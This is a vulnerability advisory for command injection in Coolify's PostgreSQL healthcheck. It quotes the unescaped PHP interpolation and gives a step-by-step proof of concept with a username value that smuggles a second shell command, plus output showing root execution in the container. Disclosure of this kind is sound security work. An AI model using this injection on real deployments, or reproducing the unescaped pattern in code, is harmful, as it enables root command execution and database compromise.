Summary

The PostgreSQL database healthcheck command in Coolify uses user-controlled input (postgres_user and postgres_db) without proper shell escaping. Since Docker healthchecks with CMD-SHELL execute via /bin/sh -c, an attacker can inject arbitrary commands that execute as root inside the PostgreSQL container.

Details

Vulnerable Code — app/Actions/Database/StartPostgresql.php:113-117:

'healthcheck' => [
    'test' => [
        'CMD-SHELL',
        "psql -U {$this->database->postgres_user} -d {$this->database->postgres_db} -c 'SELECT 1' || exit 1",
    ],
    'interval' => '5s',
    'timeout' => '5s',
    'retries' => 10,
],

The postgres_user and postgres_db fields are interpolated directly into the shell command without escaping. Docker's CMD-SHELL passes this to /bin/sh -c, which interprets shell metacharacters like ;, |, $(), and backticks.

Note: Client-side validation exists but can be bypassed, or the validation may not cover all injection vectors.

PoC

Environment:

• Coolify: v4.0.0-beta.470
• User: Member (low-privileged)

Step 1: Login as Member user

Step 2: Create PostgreSQL database

Step 3: Set Username to:

postgres; id > /tmp/hc_rce.txt; echo

Step 4: Save and Start the database

Step 5: Wait 30 seconds for healthcheck to run

Step 6: Verify command execution inside container:

docker exec  cat /tmp/hc_rce.txt

Result:

uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Root code execution confirmed inside container!

Video PoC

https://youtu.be/e0vzVSlaA58

Impact

An attacker with any authenticated account can:

• Execute arbitrary commands as root inside PostgreSQL container
• Access all database credentials (environment variables)
• Read/modify/delete all database data
• Use container network access to attack internal services
• Potential container escape depending on Docker configuration